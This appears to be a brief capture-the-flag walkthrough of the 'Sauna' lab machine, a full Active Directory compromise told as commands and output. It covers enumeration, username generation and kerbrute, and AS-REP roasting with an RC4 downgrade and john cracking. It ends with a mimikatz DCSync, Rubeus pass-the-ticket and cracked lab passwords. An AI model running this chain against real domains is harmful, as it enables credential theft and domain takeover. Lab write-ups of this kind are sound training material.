$ nmap $IP -sV -T4 -n -Pn --max-rtt-timeout 1500ms --min-rate 1000 --max-retries 3 --open -p- -oA full_port_scan --stats-every=5s -vv
$ enum4linux-ng$IP============================================================
| Domain Information via SMB session for 10.129.95.180 |
============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: SAUNA
NetBIOS domain name: EGOTISTICALBANK
DNS domain: EGOTISTICAL-BANK.LOCAL
FQDN: SAUNA.EGOTISTICAL-BANK.LOCAL
Derived membership: domain member
Derived domain: EGOTISTICALBANK
====================================================
| Domain Information via RPC for 10.129.95.180 |
====================================================
[+] Domain: EGOTISTICALBANK
[+] Domain SID: S-1-5-21-2966785786-3096785034-1186376766
[+] Membership: domain member
In the http server:
Jenny Joy
Fergus Smith
Shaun Coins
Hugo Bear
Bowie Taylor
Sophie Driver
Steven Kerb
$ ~/Desktop/Tools/username-anarchy/username-anarchy -i users.txt
$ ~/Desktop/Tools/kerbrute/dist/kerbrute_linux_amd64 userenum --dc 10.129.95.180 --domain EGOTISTICAL-BANK.LOCAL username_anarchy_users.txt
Lets attack AS-REP Roasting to the fsmith user.
2026/10/16 06:35:16 > [+] fsmith has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$fsmith@EGOTISTICAL-BANK.LOCAL:233df5424f43bcb65528a6d4875a7ab7$d822fecbfd65e0f1c0004a19b2adce6c10dd8ef0135552c2826063a21a4761c246995107e0abc23be0be9788a876a6d506a16f14b01230381564bb612e0a6283be60cdb90b2b190a68661fd810995e209e164d128b05d2073dc66032f39990837ac8f3c3af84828c68c1e2e9b7130795a1e9601bf8be92f7ec7f968764dd8b78f24883790252f7e9631c6ddd33f9504fc4b80b62089984dea9c47b09b842e3e97ea63afa493a4cf7e9e74ac7a8c3dae303b56a1b73773f24aa94c59d8427c6843a43343f8e2a3277eae4bbc8c0c624b1edee0cc62953c539befd1342c28736bf1b7ecb08e1260e05b2b7aaabc6e6ac5d6f76a417919bdea21f1e7f8098d1eb8c20bf0433ebacde4caffa4a168b3fd76433c161dfd00b
2026/10/16 06:35:16 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
18 is AES-256 it is too hard to crack then i tried to downgrade this user by using the "--downgrade" flag from aes-256 to rc4.
$ ~/Desktop/Tools/kerbrute/dist/kerbrute_linux_amd64 userenum --dc 10.129.95.180 --domain EGOTISTICAL-BANK.LOCAL --downgrade username_anarchy_users.txt
$ john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt fsmith_hash.txt
fsmith:Thestrokes23
When i ran the winpeas then found the password of the svc_loanmgr user
svc_loanmgr:Moneymakestheworldgoround!
Then by using the loanmgr user lets make the dcsync attack:
$ shell C:\Users\FSmith\Documents\mimikatz.exe "lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:Administrator" exit
Get the tgt for the Adminitsrator user:
$ shell C:\Users\FSmith\Documents\Rubeus.exe asktgt /user:Administrator /domain:EGOTISTICAL-BANK.LOCAL /rc4:823452073d75b9d1cf70ebdf86c7f98e /ptt
$ shell type \\SAUNA.EGOTISTICAL-BANK.LOCAL\C$\Users\Administrator\Desktop\root.txt